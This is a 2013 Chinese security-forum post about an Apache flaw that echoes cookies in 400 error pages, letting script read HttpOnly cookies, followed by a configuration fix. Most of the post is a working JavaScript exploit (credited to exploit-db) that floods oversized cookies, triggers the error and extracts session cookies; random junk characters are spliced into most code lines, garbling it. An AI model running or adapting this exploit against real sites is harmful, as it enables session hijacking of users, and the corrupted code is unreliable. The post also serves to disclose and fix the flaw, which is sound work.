找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2537|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
. }2 {- r5 A( Q3 Z9 b& P5 }) e1 ?1 y! r" k5 V: Y* Y
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
4 O% s7 Z2 ^: J3 J" L- K% ^
. I7 W9 B) G9 J- P0 Q+ `% L( `( D- S- {& D& A; T
// http://www.exploit-db.com/exploits/18442/0 j0 n' H7 R6 \2 z1 @% U* N
function setCookies (good) {
4 B2 }. l/ w8 m' @5 N// Construct string for cookie value
- g8 }( J  H4 qvar str = "";
& v4 B( B5 ~/ d4 Y; G/ F  m% R+ l$ B8 ufor (var i=0; i< 819; i++) {
5 E- G( Z8 ^% Z4 D9 \3 ^str += "x";
$ q  B: e( ]" Y0 B2 i. I}6 }; ^1 L- B6 l* e0 e" V; `5 \
// Set cookies
4 I0 P) @& }) N0 R. \for (i = 0; i < 10; i++) {: u$ Z5 V- [' N8 b+ m  z& r
// Expire evil cookie8 u3 l. y0 |) p: S; l: J: ~
if (good) {
: `4 x; l6 [# l0 E/ h7 Lvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";4 O5 I/ k) K; _1 J9 u5 s5 G
}. L1 ~3 I: f& t( D0 c; z( z/ ]9 H
// Set evil cookie
# v8 U  a. E* ]% o& z3 e3 S# pelse {# {% l4 l9 n8 ?2 Y" ~
var cookie = "xss"+i+"="+str+";path=/";
3 y0 m1 h! u0 o+ i  G}
" Y& B  F0 \: P3 t! S" D2 y6 ldocument.cookie = cookie;
2 z- V# b, N# w9 I. R: i: _}
3 U; E; G3 B9 C5 {$ y}
" ~2 _) m" g& z) Bfunction makeRequest() {
) w$ f0 |; u* _5 Q/ f. ^' }setCookies();8 r( C, a% Q( ]. Z( F9 W) M& R
function parseCookies () {
2 n6 @) T6 g! yvar cookie_dict = {};
+ O1 L! g& G6 O- C// Only react on 400 status
0 q1 r# M: t  D: Z# P4 ^if (xhr.readyState === 4 && xhr.status === 400) {
& u  N7 {. _" w; Q' N// Replace newlines and match <pre> content
5 ?# ?' K5 V0 `& m+ c, H, h7 Jvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
4 \7 i. L: Z) R' sif (content.length) {/ C- [% \! R' r
// Remove Cookie: prefix: Q% I/ @) V' K$ k
content = content[1].replace("Cookie: ", "");: J) G3 T8 Y4 F/ N
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);/ s. h. z+ C5 V- V: C% B
// Add cookies to object
! g9 c- H7 q, p4 H$ ^for (var i=0; i<cookies.length; i++) {
: N% J" k) z* C' q2 |7 nvar s_c = cookies.split('=',2);
+ |. A& G% ]6 K+ ?& Zcookie_dict[s_c[0]] = s_c[1];+ U7 [4 T) V; u# @4 Z5 t
}5 q- j5 X7 @" W
}+ P! y6 I% o7 ~) d3 ^0 X
// Unset malicious cookies
/ K- O/ y4 V- i5 L! @/ rsetCookies(true);1 W# d; y8 O" o! P) {3 `* F, Y
alert(JSON.stringify(cookie_dict));5 d, Z0 o# F5 t1 M
}
# J/ _9 J6 T4 e* X4 D! g+ x}8 v% S' K4 M! Q( @
// Make XHR request+ ?4 E5 ?% _% c3 V
var xhr = new XMLHttpRequest();5 `# Y. }" {# }/ j% N) O7 j. h7 N
xhr.onreadystatechange = parseCookies;5 c2 [2 v' d4 p+ r! a. p6 `
xhr.open("GET", "/", true);
6 W" N" ?# ?+ f, T+ Uxhr.send(null);) P( s9 z/ R3 q4 `; j& G
}
) f& A1 n$ _& M4 jmakeRequest();: K( ~* y# R9 X' R) y4 {

& `4 U& Z4 I3 r$ A. m5 ]你就能看见华丽丽的400错误包含着cookie信息。$ Q, [8 y# l3 Q- c1 G2 ~) ?
5 Q3 \) K; y6 c% z3 X9 ?9 ]+ Y
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#. ^" |, w/ G0 u7 A  z
. ^9 P  |) M, k7 b& \: Z0 c
修复方案:
& ^' x( }, y$ _6 m; v! d( I: [- ?; Q4 l# e6 ~
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
1 G+ K  g0 `: c* g8 L! V
+ A1 F+ U) P, U. }In the event of a problem or error, Apachecan be configured to do one of four things,
' q8 A/ T% D" s
, H& Y" {! ~; V2 L& M9 p; J. F' b1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
( S9 g6 {! j6 T% G& Q9 g: ?2. output acustomized message输出一段信息+ k+ v" i7 K. `8 i! y6 X
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ! }+ c- ^6 }; {5 V
4. redirect to an external URL to handle theproblem/error转向一个外部URL  U7 ^& D( [* S8 Q( w

; ~! H, A8 A3 G经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 d2 c: R' r) o6 e: e& L0 N4 ?& V* Q: W7 b" E
Apache配置:; g% y. O9 L/ b9 Y8 T5 {
* _, `& h7 U  @
ErrorDocument400 " security test"
( f! n) a' J/ d7 q, ]: n$ h! T) x- g+ e8 k
当然,升级apache到最新也可:)。
6 M) w4 ~  s/ f8 C# d1 a' A8 ~9 l* P2 }
参考:http://httpd.apache.org/security/vulnerabilities_22.html
! J: ?( c: o0 i+ U  n
  b( v. r- p+ u) b: e9 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表